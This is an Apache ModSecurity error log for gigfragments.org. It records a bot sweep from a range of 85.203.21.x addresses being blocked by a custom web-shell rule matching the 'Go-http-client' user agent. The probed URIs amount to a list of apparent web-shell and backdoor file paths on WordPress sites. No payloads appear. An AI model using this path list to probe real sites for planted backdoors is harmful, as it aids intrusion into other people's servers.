[Wed Feb 04 00:35:42.753916 2026] [:error] [pid 28720:tid 28735] [client 85.203.21.73:60875] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aYIj3mmRXm2bmr_sYiYK5AAAAQ0"]
[Wed Feb 04 00:35:43.048664 2026] [:error] [pid 43028:tid 43031] [client 85.203.21.96:64215] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class.api.php"] [unique_id "aYIj31nHWnJD4cJC5DsDUgAAAME"]
[Wed Feb 04 00:35:43.342904 2026] [:error] [pid 5148:tid 5166] [client 85.203.21.86:49779] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aYIj3783HCHLtUIbS7IoiQAAAU8"]
[Wed Feb 04 00:35:43.637006 2026] [:error] [pid 28720:tid 28732] [client 85.203.21.77:37877] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/Diff/"] [unique_id "aYIj32mRXm2bmr_sYiYK5QAAAQo"]
[Wed Feb 04 00:35:43.931275 2026] [:error] [pid 5148:tid 5154] [client 85.203.21.107:37491] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyfour/patterns/template-singl-portfolio.php"] [unique_id "aYIj3783HCHLtUIbS7IoiwAAAUM"]
[Wed Feb 04 00:35:44.229119 2026] [:error] [pid 28720:tid 28725] [client 85.203.21.107:57415] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php"] [unique_id "aYIj4GmRXm2bmr_sYiYK6AAAAQM"]
[Wed Feb 04 00:35:44.526663 2026] [:error] [pid 42922:tid 42985] [client 85.203.21.132:48319] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/filester/assets/css/404.php"] [unique_id "aYIj4GazX4WPS_dQRkjWMQAAAIA"]
[Wed Feb 04 00:35:44.823285 2026] [:error] [pid 5229:tid 5231] [client 85.203.21.115:36631] [client 85.203.21.115] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/radio.php"] [unique_id "aYIj4EKmEgmJub93yUpH_wAAAYA"]
[Wed Feb 04 00:35:45.120996 2026] [:error] [pid 5148:tid 5165] [client 85.203.21.99:38641] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aYIj4b83HCHLtUIbS7IojgAAAU4"]
[Wed Feb 04 00:35:45.415695 2026] [:error] [pid 42922:tid 43006] [client 85.203.21.94:20237] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updates.php"] [unique_id "aYIj4WazX4WPS_dQRkjWMgAAAJU"]
[Wed Feb 04 00:35:45.712429 2026] [:error] [pid 42922:tid 42999] [client 85.203.21.107:65137] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/shell.php"] [unique_id "aYIj4WazX4WPS_dQRkjWMwAAAI4"]
[Wed Feb 04 00:35:46.013795 2026] [:error] [pid 5148:tid 5152] [client 85.203.21.101:49745] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aYIj4r83HCHLtUIbS7IojwAAAUE"]
[Wed Feb 04 00:35:46.310257 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.111:45237] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aYIj4lnHWnJD4cJC5DsDWgAAANg"]
[Wed Feb 04 00:35:46.604588 2026] [:error] [pid 28720:tid 28733] [client 85.203.21.70:23469] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aYIj4mmRXm2bmr_sYiYK6gAAAQs"]
[Wed Feb 04 00:35:46.899084 2026] [:error] [pid 42922:tid 42987] [client 85.203.21.87:35355] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "aYIj4mazX4WPS_dQRkjWNgAAAII"]
[Wed Feb 04 00:35:47.190946 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.150:41895] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hello.php"] [unique_id "aYIj40KmEgmJub93yUpIBQAAAZg"]
[Wed Feb 04 00:35:47.483574 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.111:29829] [client 85.203.21.111] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/"] [unique_id "aYIj40KmEgmJub93yUpIBgAAAYs"]
[Wed Feb 04 00:35:47.777339 2026] [:error] [pid 5229:tid 5236] [client 85.203.21.94:48961] [client 85.203.21.94] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aYIj40KmEgmJub93yUpIBwAAAYU"]
[Wed Feb 04 00:35:48.071278 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.107:44687] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/"] [unique_id "aYIj5FnHWnJD4cJC5DsDXgAAANc"]
[Wed Feb 04 00:35:48.367095 2026] [:error] [pid 43028:tid 43032] [client 85.203.21.70:52629] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/shell/"] [unique_id "aYIj5FnHWnJD4cJC5DsDXwAAAMI"]
[Wed Feb 04 00:35:48.663316 2026] [:error] [pid 43028:tid 43042] [client 85.203.21.131:65181] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aYIj5FnHWnJD4cJC5DsDYgAAAMw"]
[Wed Feb 04 00:35:48.961182 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.153:65457] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aYIj5FnHWnJD4cJC5DsDYwAAANg"]
[Wed Feb 04 00:35:49.254357 2026] [:error] [pid 28720:tid 28730] [client 85.203.21.86:25251] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aYIj5WmRXm2bmr_sYiYK6wAAAQg"]
[Wed Feb 04 00:35:49.547822 2026] [:error] [pid 42920:tid 42947] [client 85.203.21.75:36957] [client 85.203.21.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/autoload_classmap/function.php"] [unique_id "aYIj5Six3YKltG4EU0m93wAAABI"]
[Wed Feb 04 00:35:49.841862 2026] [:error] [pid 42920:tid 42938] [client 85.203.21.107:57751] [client 85.203.21.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/radio.php"] [unique_id "aYIj5Six3YKltG4EU0m94QAAAAk"]
[Wed Feb 04 00:35:50.136695 2026] [:error] [pid 5148:tid 5158] [client 85.203.21.123:40123] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aYIj5r83HCHLtUIbS7IolAAAAUc"]
[Wed Feb 04 00:35:50.430671 2026] [:error] [pid 43028:tid 43037] [client 85.203.21.87:33895] [client 85.203.21.87] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/"] [unique_id "aYIj5lnHWnJD4cJC5DsDZQAAAMc"]
[Wed Feb 04 00:35:50.729173 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.105:57391] [client 85.203.21.105] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aYIj5mmRXm2bmr_sYiYK7wAAAQE"]
[Wed Feb 04 00:35:51.028464 2026] [:error] [pid 42920:tid 42936] [client 85.203.21.71:60343] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/"] [unique_id "aYIj5yix3YKltG4EU0m94wAAAAc"]
[Wed Feb 04 00:35:51.319770 2026] [:error] [pid 42920:tid 42933] [client 85.203.21.110:56415] [client 85.203.21.110] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/revslider/includes/external/page/"] [unique_id "aYIj5yix3YKltG4EU0m95AAAAAQ"]
[Wed Feb 04 00:35:51.612044 2026] [:error] [pid 5148:tid 5161] [client 85.203.21.119:26497] [client 85.203.21.119] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aYIj5783HCHLtUIbS7IomAAAAUo"]
[Wed Feb 04 00:35:51.905592 2026] [:error] [pid 5229:tid 5234] [client 85.203.21.147:31991] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aYIj50KmEgmJub93yUpICwAAAYM"]
[Wed Feb 04 00:35:52.200970 2026] [:error] [pid 5229:tid 5255] [client 85.203.21.81:41903] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aYIj6EKmEgmJub93yUpIDAAAAZg"]
[Wed Feb 04 00:35:52.494941 2026] [:error] [pid 42922:tid 42998] [client 85.203.21.72:26785] [client 85.203.21.72] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/"] [unique_id "aYIj6GazX4WPS_dQRkjWOgAAAI0"]
[Wed Feb 04 00:35:52.790356 2026] [:error] [pid 42920:tid 42944] [client 85.203.21.76:29021] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/"] [unique_id "aYIj6Cix3YKltG4EU0m96AAAAA8"]
[Wed Feb 04 00:35:53.082806 2026] [:error] [pid 28720:tid 28745] [client 85.203.21.109:59907] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content.php"] [unique_id "aYIj6WmRXm2bmr_sYiYK8AAAARc"]
[Wed Feb 04 00:35:53.380816 2026] [:error] [pid 5148:tid 5170] [client 85.203.21.96:44171] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/"] [unique_id "aYIj6b83HCHLtUIbS7IonwAAAVM"]
[Wed Feb 04 00:35:53.672974 2026] [:error] [pid 28720:tid 28737] [client 85.203.21.114:59927] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/worksec.php"] [unique_id "aYIj6WmRXm2bmr_sYiYK8gAAAQ8"]
[Wed Feb 04 00:35:53.964930 2026] [:error] [pid 42920:tid 42948] [client 85.203.21.135:47657] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "aYIj6Six3YKltG4EU0m96gAAABM"]
[Wed Feb 04 00:35:54.256771 2026] [:error] [pid 5148:tid 5164] [client 85.203.21.120:26513] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/chosen.php"] [unique_id "aYIj6r83HCHLtUIbS7IooAAAAU0"]
[Wed Feb 04 00:35:54.550139 2026] [:error] [pid 42921:tid 42961] [client 85.203.21.92:34923] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYIj6oblShffGl-01oez-wAAAEM"]
[Wed Feb 04 00:35:54.905414 2026] [:error] [pid 5229:tid 5238] [client 85.203.21.101:48341] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/classwithtostring.php"] [unique_id "aYIj6kKmEgmJub93yUpIEAAAAYc"]
[Wed Feb 04 00:35:55.207171 2026] [:error] [pid 43028:tid 43036] [client 85.203.21.88:60175] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/news-portal/error.php"] [unique_id "aYIj61nHWnJD4cJC5DsDbQAAAMY"]
[Wed Feb 04 00:35:55.522970 2026] [:error] [pid 5229:tid 5235] [client 85.203.21.137:52969] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aYIj60KmEgmJub93yUpIFAAAAYQ"]
[Wed Feb 04 00:35:55.817340 2026] [:error] [pid 42922:tid 42990] [client 85.203.21.71:40489] [client 85.203.21.71] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/about.php"] [unique_id "aYIj62azX4WPS_dQRkjWOwAAAIU"]
[Wed Feb 04 00:35:56.110240 2026] [:error] [pid 5148:tid 5175] [client 85.203.21.137:27493] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aYIj7L83HCHLtUIbS7IoowAAAVg"]
[Wed Feb 04 00:35:56.406046 2026] [:error] [pid 42921:tid 42958] [client 85.203.21.103:56323] [client 85.203.21.103] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/"] [unique_id "aYIj7IblShffGl-01oez_QAAAEA"]
[Wed Feb 04 00:35:56.702507 2026] [:error] [pid 42920:tid 42951] [client 85.203.21.73:45161] [client 85.203.21.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/archives/"] [unique_id "aYIj7Cix3YKltG4EU0m97gAAABY"]
[Wed Feb 04 00:35:56.994623 2026] [:error] [pid 43028:tid 43050] [client 85.203.21.139:40295] [client 85.203.21.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/library/"] [unique_id "aYIj7FnHWnJD4cJC5DsDcgAAANQ"]
[Wed Feb 04 00:35:57.289225 2026] [:error] [pid 42921:tid 42967] [client 85.203.21.101:64911] [client 85.203.21.101] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/block-library/"] [unique_id "aYIj7YblShffGl-01oez_gAAAEk"]
[Wed Feb 04 00:35:57.580633 2026] [:error] [pid 42921:tid 42968] [client 85.203.21.86:63957] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/audio/"] [unique_id "aYIj7YblShffGl-01oez_wAAAEo"]
[Wed Feb 04 00:35:57.875630 2026] [:error] [pid 5148:tid 5159] [client 85.203.21.150:52851] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aYIj7b83HCHLtUIbS7IopQAAAUg"]
[Wed Feb 04 00:35:58.169196 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.137:64605] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/"] [unique_id "aYIj7lnHWnJD4cJC5DsDdgAAANg"]
[Wed Feb 04 00:35:58.473699 2026] [:error] [pid 5229:tid 5251] [client 85.203.21.123:23045] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aYIj7kKmEgmJub93yUpIFwAAAZQ"]
[Wed Feb 04 00:35:58.768614 2026] [:error] [pid 5148:tid 5151] [client 85.203.21.70:33703] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aYIj7r83HCHLtUIbS7IopwAAAUA"]
